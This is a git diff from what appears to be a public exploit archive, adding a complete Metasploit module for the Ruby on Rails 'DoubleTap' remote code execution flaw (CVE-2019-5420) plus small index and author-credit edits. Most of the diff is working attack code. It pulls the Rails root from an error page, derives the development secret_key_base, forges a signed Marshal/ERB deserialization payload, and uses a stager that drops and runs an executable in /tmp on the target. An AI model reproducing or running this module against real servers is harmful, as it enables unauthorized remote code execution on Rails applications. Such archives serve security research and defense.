diff --git a/exploits/linux/remote/46785.rb b/exploits/linux/remote/46785.rb new file mode 100755 index 000000000..84e6084cd --- /dev/null +++ b/exploits/linux/remote/46785.rb @@ -0,0 +1,225 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails + application would use its name as the secret_key_base, and can be easily extracted by + visiting an invalid resource for a path. As a result, this allows a remote user to + create and deliver a signed serialized payload, load it by the application, and gain + remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'ooooooo_q', # Reported the vuln on hackerone + 'mpgn', # Proof-of-Concept + 'sinn3r' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2019-5420' ], + [ 'URL', 'https://hackerone.com/reports/473888' ], + [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ], + [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ] + ], + 'Platform' => 'linux', + 'Targets' => + [ + [ 'Ruby on Rails 5.2 and prior', { } ] + ], + 'DefaultOptions' => + { + 'RPORT' => 3000 + }, + 'Notes' => + { + 'AKA' => [ 'doubletap' ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS ] + }, + 'Privileged' => false, + 'DisclosureDate' => 'Mar 13 2019', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']), + ]) + end + + NO_RAILS_ROOT_MSG = 'No Rails.root info' + + # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit + # still uses Rails 4, and we don't really know when we will be able to upgrade it. + + class Messages + class Metadata + def initialize(message, expires_at = nil, purpose = nil) + @message, @expires_at, @purpose = message, expires_at, purpose + end + + def as_json(options = {}) + { _rails: { message: @message, exp: @expires_at, pur: @purpose } } + end + + def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil) + if expires_at || expires_in || purpose + ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose) + else + message + end + end + + private + + def self.pick_expiry(expires_at, expires_in) + if expires_at + expires_at.utc.iso8601(3) + elsif expires_in + Time.now.utc.advance(seconds: expires_in).iso8601(3) + end + end + + def self.encode(message) + Rex::Text::encode_base64(message) + end + end + end + + class MessageVerifier + def initialize(secret, options = {}) + raise ArgumentError, 'Secret should not be nil.' unless secret + @secret = secret + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal + end + + def generate(value, expires_at: nil, expires_in: nil, purpose: nil) + data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose)) + "#{data}--#{generate_digest(data)}" + end + + private + + def generate_digest(data) + require "openssl" unless defined?(OpenSSL) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) + end + + def encode(message) + Rex::Text::encode_base64(message) + end + end + + def check + check_code = CheckCode::Safe + app_name = get_application_name + check_code = CheckCode::Appears unless app_name.blank? + test_payload = %Q|puts 1| + rails_payload = generate_rails_payload(app_name, test_payload) + result = send_serialized_payload(rails_payload) + check_code = CheckCode::Vulnerable if result + check_code + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG + CheckCode::Unknown + end + + # Returns information about Rails.root if we retrieve an invalid path under rails. + def get_rails_root_info + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)), + }) + + fail_with(Failure::Unknown, 'No response from the server') unless res + html = res.get_html_document + rails_root_node = html.at('//code[contains(text(), "Rails.root:")]') + fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node + root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first + report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data) + root_info_value + end + + # Returns the application name based on Rails.root. It seems in development mode, the + # application name is used as a secret_key_base to encrypt/decrypt data. + def get_application_name + root_info = get_rails_root_info + root_info.split('/').last.capitalize + end + + # Returns the stager code that writes the payload to disk so we can execute it. + def get_stager_code + b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" + bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" + register_file_for_cleanup(b64_fname, bin_fname) + p = Rex::Text.encode_base64(generate_payload_exe) + + c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " + c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " + c << "%x(chmod +x #{bin_fname}); " + c << "%x(#{bin_fname})" + c + end + + # Returns the serialized payload that is embedded with our malicious payload. + def generate_rails_payload(app_name, ruby_payload) + secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application") + keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) + secret = keygen.generate_key('ActiveStorage') + verifier = MessageVerifier.new(secret) + erb = ERB.allocate + erb.instance_variable_set :@src, ruby_payload + erb.instance_variable_set :@filename, "1" + erb.instance_variable_set :@lineno, 1 + dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result) + verifier.generate(dump_target, purpose: :blob_key) + end + + # Sending the serialized payload + # If the payload fails, the server should return 404. If successful, then 200. + def send_serialized_payload(rails_payload) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "/rails/active_storage/disk/#{rails_payload}/test", + }) + + if res && res.code != 200 + print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.") + print_error('The expected response should be HTTP 200.') + + # This indicates the server did not accept the payload + return false + end + + # This is used to indicate the server accepted the payload + true + end + + def exploit + print_status("Attempting to retrieve the application name...") + app_name = get_application_name + print_status("The application name is: #{app_name}") + + stager = get_stager_code + print_status("Stager ready: #{stager.length} bytes") + + rails_payload = generate_rails_payload(app_name, stager) + print_status("Sending serialized payload to target (#{rails_payload.length} bytes)") + send_serialized_payload(rails_payload) + end +end \ No newline at end of file diff --git a/exploits/windows/local/46688.txt b/exploits/windows/local/46688.txt index b1dd2b084..69b0cafc6 100644 --- a/exploits/windows/local/46688.txt +++ b/exploits/windows/local/46688.txt @@ -1,7 +1,7 @@ # Exploit Title: CyberArk Endpoint bypass # Google Dork: - # Date: 03/06/2018 -# Exploit Author: Alpcan Onaran +# Exploit Author: Alpcan Onaran, Mustafa Kemal Can # Vendor Homepage: https://www.cyberark.com # Software Link: - # Version: 10.2.1.603 diff --git a/files_exploits.csv b/files_exploits.csv index 844828983..b12346902 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -17374,6 +17374,7 @@ id,file,description,date,author,type,platform,port 46775,exploits/php/remote/46775.rb,"Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)",2019-04-30,AkkuS,remote,php, 46782,exploits/windows/remote/46782.rb,"AIS logistics ESEL-Server - Unauth SQL Injection RCE (Metasploit)",2019-04-30,Metasploit,remote,windows, 46783,exploits/php/remote/46783.rb,"Pimcore < 5.71 - Unserialize RCE (Metasploit)",2019-04-30,Metasploit,remote,php, +46785,exploits/linux/remote/46785.rb,"Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)",2019-05-02,Metasploit,remote,linux,3000 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,